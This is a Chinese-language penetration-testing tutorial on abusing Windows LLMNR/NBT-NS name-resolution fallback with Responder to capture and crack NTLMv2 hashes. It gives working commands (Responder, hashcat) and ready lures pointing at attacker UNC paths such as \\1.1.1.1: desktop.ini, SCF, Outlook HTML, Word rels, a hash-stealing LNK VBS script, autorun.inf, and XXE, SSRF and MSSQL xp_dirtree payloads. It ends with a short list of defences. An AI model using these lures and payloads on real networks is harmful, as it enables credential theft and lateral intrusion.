Windows 内网渗透:名称解析协议与Responder欺骗
引言
在 Windows 内网渗透测试中,掌握内网协议的特性是成功的关键。Windows 系统依赖多种名称解析协议(如 DNS、NBT-NS、LLMNR 等)将主机名映射到 IP 地址,这些协议在内网环境中至关重要。然而,当这些协议与 SMB(Server Message Block) 服务交互时,往往会暴露安全漏洞,成为攻击者的切入点。攻击者通常利用 NTLM 身份验证漏洞 执行 中间人攻击(MITM),窃取凭证并深入渗透网络。本文将深入探讨 Windows 内网中的名称解析协议(特别是 NBT-NS 和 LLMNR),分析其在无 DNS 环境下的安全隐患,介绍攻击工具(如 Responder)的利用方法,并提供防御建议。
一、内网名称解析协议的工作原理
Windows 内网环境中,设备通过多种协议实现主机名与 IP 地址的映射。以下是主要协议及其工作机制的详细介绍:
1.1 DNS:标准名称解析协议
DNS(Domain Name System) 是互联网和企业网络中最常用的名称解析协议,用于将域名(如 www.example.com
)转换为 IP 地址(如 192.168.1.1
)。在内网中,DNS 通常由内部服务器提供,客户端通过查询这些服务器完成名称解析。然而,若 DNS 服务器不可用或配置不当,Windows 系统会转而依赖备用协议。
- 特点:DNS 是集中式解析方案,依赖预配置的服务器。
- 局限:无 DNS 时,系统会降级到其他协议。
1.2 NBT-NS (NetBIOS Name Service)
NBT-NS 是基于 NetBIOS 协议的名称解析服务,常见于早期 Windows 网络。当 DNS 不可用时,系统回退到 NBT-NS,通过广播查询局域网内的 NetBIOS 名称(设备的唯一标识符)来解析 IP 地址。
- 工作方式:使用 UDP 137 端口广播查询,询问目标名称对应的 IP。
- 安全隐患:广播机制易被攻击者拦截并伪装响应。
- 背景:NetBIOS 是一种遗留协议,仍广泛存在于 Windows 环境中。
1.3 LLMNR (Link-Local Multicast Name Resolution)
LLMNR 是一种较新的本地名称解析协议,设计用于在无 DNS 的网络中通过多播解析主机名。自 Windows Vista 起默认启用,作为 DNS 的备用方案。
- 工作方式:客户端通过 UDP 多播(端口 5355)向局域网发送请求,网络中能响应的设备返回 IP 地址。
- 特点:与 NBT-NS 类似,依赖本地广播,易受欺骗攻击。
- 应用场景:适用于小型网络或临时环境。
二、SMB 与名称解析降级的漏洞
SMB(Server Message Block) 是 Windows 用于文件共享、打印机访问等功能的网络协议,其正常运行依赖于准确的主机名解析。在理想情况下,DNS 负责这一任务,但当 DNS 不可用或解析失败时,Windows 会降级使用 NBT-NS 或 LLMNR,这种机制为攻击者提供了可乘之机。
2.1 SMB 访问与降级过程
假设用户尝试访问一个共享资源,例如输入以下命令:
\\targetmachine\smb_share
系统会首先尝试通过 DNS 解析 targetmachine
的 IP 地址。如果 DNS 查询失败(例如目标名称不存在或 DNS 服务器不可用),Windows 将按以下顺序降级处理:
- NBT-NS:通过广播查询局域网内的 NetBIOS 名称。
- LLMNR:通过多播向本地网络发送解析请求。
此时,攻击者可在局域网中伪装成目标主机,响应这些广播或多播请求,诱导客户端与其建立连接。
- 实际场景:用户可能因拼写错误(如
\\targtmachine
)或访问不存在的资源触发降级。 - 结果:客户端向伪装的攻击者机器发起通信。
2.2 NTLM 认证与中间人攻击
SMB 访问通常涉及 NTLM 认证,这是 Windows 网络中的常见身份验证协议。当客户端尝试连接到伪装的目标时,会自动发送 NTLM 凭证,包括用户名和密码的哈希值(通常为 NTLMv2)。攻击者利用这一过程实施 中间人攻击(MITM):
-
攻击流程:
- 客户端发送名称解析请求。
- 攻击者伪装响应,提供自己的 IP 地址。
- 客户端尝试连接并发起 NTLM 认证。
- 攻击者捕获凭证哈希。
-
核心风险:NTLM 认证的自动化特性使得客户端无感知地泄露凭证。
捕获的 NTLM 哈希可用于:
- 离线破解:通过工具如 hashcat 尝试恢复明文密码。
- 中继攻击:将哈希直接转发到其他系统进行权限提升(需满足特定条件,如未启用 SMB 签名)。
三、利用 Responder 进行中间人攻击
Responder 是一款功能强大的渗透测试工具,专为 Windows 内网环境设计。它通过伪装 NBT-NS、LLMNR 和 MDNS 等协议的响应,捕获客户端的 NTLMv2 哈希,为攻击者提供凭证窃取的便捷途径。以下将详细介绍其工作原理、基本攻击步骤及多样化利用方法。
3.1 Responder 的工作原理
Responder 的核心在于利用 Windows 内网协议的广播和多播特性,通过中间人攻击窃取 NTLM 凭证。其工作机制如下:
-
协议欺骗:
- Responder 监听局域网中的 NBT-NS(UDP 137)、LLMNR(UDP 5355)和 MDNS(UDP 5353)请求。
- 当客户端因 DNS 解析失败而发起广播或多播查询时,Responder 伪装成目标主机,响应自己的 IP 地址。
- 例如,用户访问
\\nonexistent\share
,触发 LLMNR 请求,Responder 冒充nonexistent
并回复。
-
凭证捕获:
- 客户端收到伪造响应后,尝试与 Responder 控制的 IP 建立连接(如 SMB 或 HTTP)。
- 连接过程中,Windows 自动发起 NTLM 认证,发送用户名和 NTLMv2 哈希。
- Responder 捕获这些凭证并记录下来。
-
优势:
- 无需直接与目标交互,仅需处于同一局域网。
- 利用系统默认行为,攻击隐蔽性高。
3.2 基本攻击步骤
以下是使用 Responder 执行攻击的基本流程:
步骤 1:配置与启动 Responder
在攻击机(通常为 Kali Linux)上运行 Responder,监听网络接口:
responder -I eth0 -rPv
-I eth0
:指定监听的网络接口(根据实际情况替换为 wlan0 等)。-r
:启用 SMB 响应,伪装文件共享服务。-P
:启用 NBT-NS 和 LLMNR 欺骗。-v
:显示详细输出,便于调试。
启动后,Responder 将开始监听并等待目标发起请求。
步骤 2:诱导并捕获 NTLM 哈希
攻击者需诱导目标触发名称解析请求,常见方法包括:
- 手动触发:在目标机器上访问不存在的共享资源:
DNS 解析失败后,目标会通过 NBT-NS 或 LLMNR 查询,Responder 响应并捕获哈希。net use \\nonexistent\share
- 自然触发:等待用户因拼写错误或配置问题访问不存在资源。
捕获的哈希保存在 Responder 默认日志目录(如 /usr/share/responder/logs/
),文件名通常以 IP 和协议命名,例如 SMB-192.168.1.100.txt
。
步骤 3:破解哈希
获取 NTLMv2 哈希后,使用暴力破解工具(如 hashcat)尝试恢复明文密码:
hashcat -m 5600 captured_hash.txt /path/to/wordlist.txt
-m 5600
:指定 NTLMv2 哈希类型。captured_hash.txt
:Responder 捕获的哈希文件。/path/to/wordlist.txt
:密码字典文件。
若密码较弱(如常见组合或短密码),破解可能在数小时内完成。
3.3 通过文件获取 NTLM 哈希
1. 通过图标(desktop.ini)触发
攻击者可以利用 Windows 资源管理器加载图标文件的特性,诱导目标访问 SMB 共享,从而捕获 NTLM 哈希。
步骤:
- 创建一个文件夹
test
,在test
目录下创建test2
子文件夹。 - 进入
test2
目录,创建desktop.ini
文件,并修改IconResource
指向攻击者的服务器:[.ShellClassInfo] IconResource=\\hello-world\test\SHELL32.dll,2
- 受害者打开
test
文件夹时,Windows 将尝试加载图标,从而自动发送 NTLM 认证请求。
在 Windows XP 系统中,应使用 IconFile
代替 IconResource
:
[.ShellClassInfo]
IconFile=\\1.1.1.1\aa
IconIndex=1337
2. 使用 SCF 文件
我们可以使用 SCF(Shell 命令文件)文件执行有限的一组操作(例如显示 Windows 桌面或打开 Windows 资源管理器)。但是,如果使用 SCF 文件访问特定的 UNC 路径,那么我们可以发起攻击。
示例 SCF 文件:
[Shell]
Command=2
IconFile=\\X.X.X.X\share\aaa.ico
[Taskbar]
Command=ToggleDesktop
将上述内容保存为 .scf
文件,并放入目标用户可能访问的共享目录。当用户浏览共享时,将自动从他的系统建立到 SCF 文件中包含的 UNC 路径的连接。Windows 将尝试使用用户名和密码对共享进行身份验证。在该身份验证过程中,服务器会向客户端发送一个随机的 8 字节质询密钥,并使用此质询密钥再次加密散列的 NTLM / LANMAN 密码。我们将捕获 NTLMv2 哈希。
3. 通过 Outlook 触发
Outlook 支持 HTML 格式的邮件,攻击者可以在邮件中嵌入远程 UNC 路径的图片。
示例 HTML 代码:
<img src="\\<kali ip>\outlook">
此方法的关键点:
- UNC 路径(
\\
):会自动携带 NTLM 凭据,但通常仅限于内网。 - HTTP 路径(
http://
):不会自动携带凭据,除非目标处于信任域内。
4. 通过 PDF 触发
攻击者可以利用 PDF 文件中的外部资源加载机制:
- 使用 deepzec/Bad-PDF 工具生成恶意 PDF。
- 受害者打开 PDF 时,触发 UNC 请求,从而泄露 NTLM 哈希。
5. 通过 Office 文档触发
Office 文档(如 Word、Excel)支持远程加载资源,攻击者可以嵌入 UNC 路径的图片或 OLE 对象。
手动修改 Word 文档以加载远程资源:
- 新建 Word 文档,插入一张图片。
- 用 7zip 打开
.docx
,进入word/_rels
目录,修改document.xml.rels
。 - 修改
Target
参数,使其指向 UNC 共享路径,并添加TargetMode="External"
。
受害者打开 Word 文件时,将自动请求远程资源,发送 NTLM 哈希。
6. 通过 LNK(快捷方式)文件
我们可以创建一个包含网络路径的快捷方式,只要你打开快捷方式,Windows就会尝试解析网络路径,你还可以指定一个快捷键来触发这个快捷方式。至于图标,你可以给出一个Windows二进制文件的名称,或者从位于system32目录中的shell32.dll,Ieframe.dll,imageres.dll,pnidui.dll或wmploc.dll中选择一个图标。
示例 VBS 代码生成 LNK 文件:
Set shl = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
currentFolder = shl.CurrentDirectorySet sc = shl.CreateShortcut(fso.BuildPath(currentFolder, "\StealMyHashes.lnk"))sc.TargetPath = "\\1.1.1.1\@OsandaMalith"
sc.WindowStyle = 1
sc.HotKey = "Ctrl+Alt+O"
sc.IconLocation = "%windir%\system32\shell32.dll, 3"
sc.Description = "I will Steal your Hashes"
sc.Save
7. 通过 Autorun.inf
[autorun]
open=\\1.1.1.1\setup.exe
icon=something.ico
action=open Setup.exe
受害者插入 USB 设备时,Windows 将尝试访问 setup.exe
,从而触发 NTLM 认证。
3.4 通过 Web 漏洞获取 NTLM 哈希
1. XXE(XML External Entity)攻击
如果应用程序存在 XXE 漏洞,并支持 UNC 路径,可构造恶意 XML:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file://\\1.1.1.1\test">
]>
2. SSRF(服务器端请求伪造)
如果目标支持 file://
协议,可尝试访问 UNC 共享:
file://\\1.1.1.1\test
3. SQL 注入(MSSQL)
在 MSSQL 注入中,可使用 xp_dirtree
获取哈希:
EXEC xp_dirtree '\\1.1.1.1\test'
3.5 通过错误域名解析获取哈希
Windows 7 默认启用 LLMNR 和 NBNS 解析,如果用户尝试访问错误的域名,攻击者可利用 Responder 进行投毒,骗取哈希。
responder -I eth0 -r on -v -F on -w on
受害者访问错误域名后,Responder 会要求其进行 NTLM 认证,从而捕获哈希。
小结
Windows 内网的名称解析机制,如 NBT-NS 和 LLMNR,在 DNS 解析失败时会自动降级使用,这一特性为攻击者提供了可乘之机。本文详细分析了 SMB 认证 与 NTLM 凭证泄露 的原理,并介绍了如何利用 Responder 进行中间人攻击。攻击者可通过名称解析欺骗、文件诱导、邮件和 Web 漏洞等多种手段捕获 NTLM 哈希,并尝试破解或利用其进行 NTLM 认证中继攻击。
为了防御此类攻击,建议企业采取以下措施:
- 禁用不必要的协议:关闭 LLMNR 和 NetBIOS 以减少攻击面。
- 强制 SMB 签名:防止 NTLM 中继攻击。
- 使用强密码:结合多因素认证(MFA)增强账户安全。
- 监控异常流量:检测内网中可疑的名称解析流量和 SMB 认证失败记录。
通过合理的安全策略与防护措施,可有效降低 Windows 内网中的凭证窃取风险,提升整体安全性。
参考文章:https://www.cnblogs.com/haidragon/p/16847713.html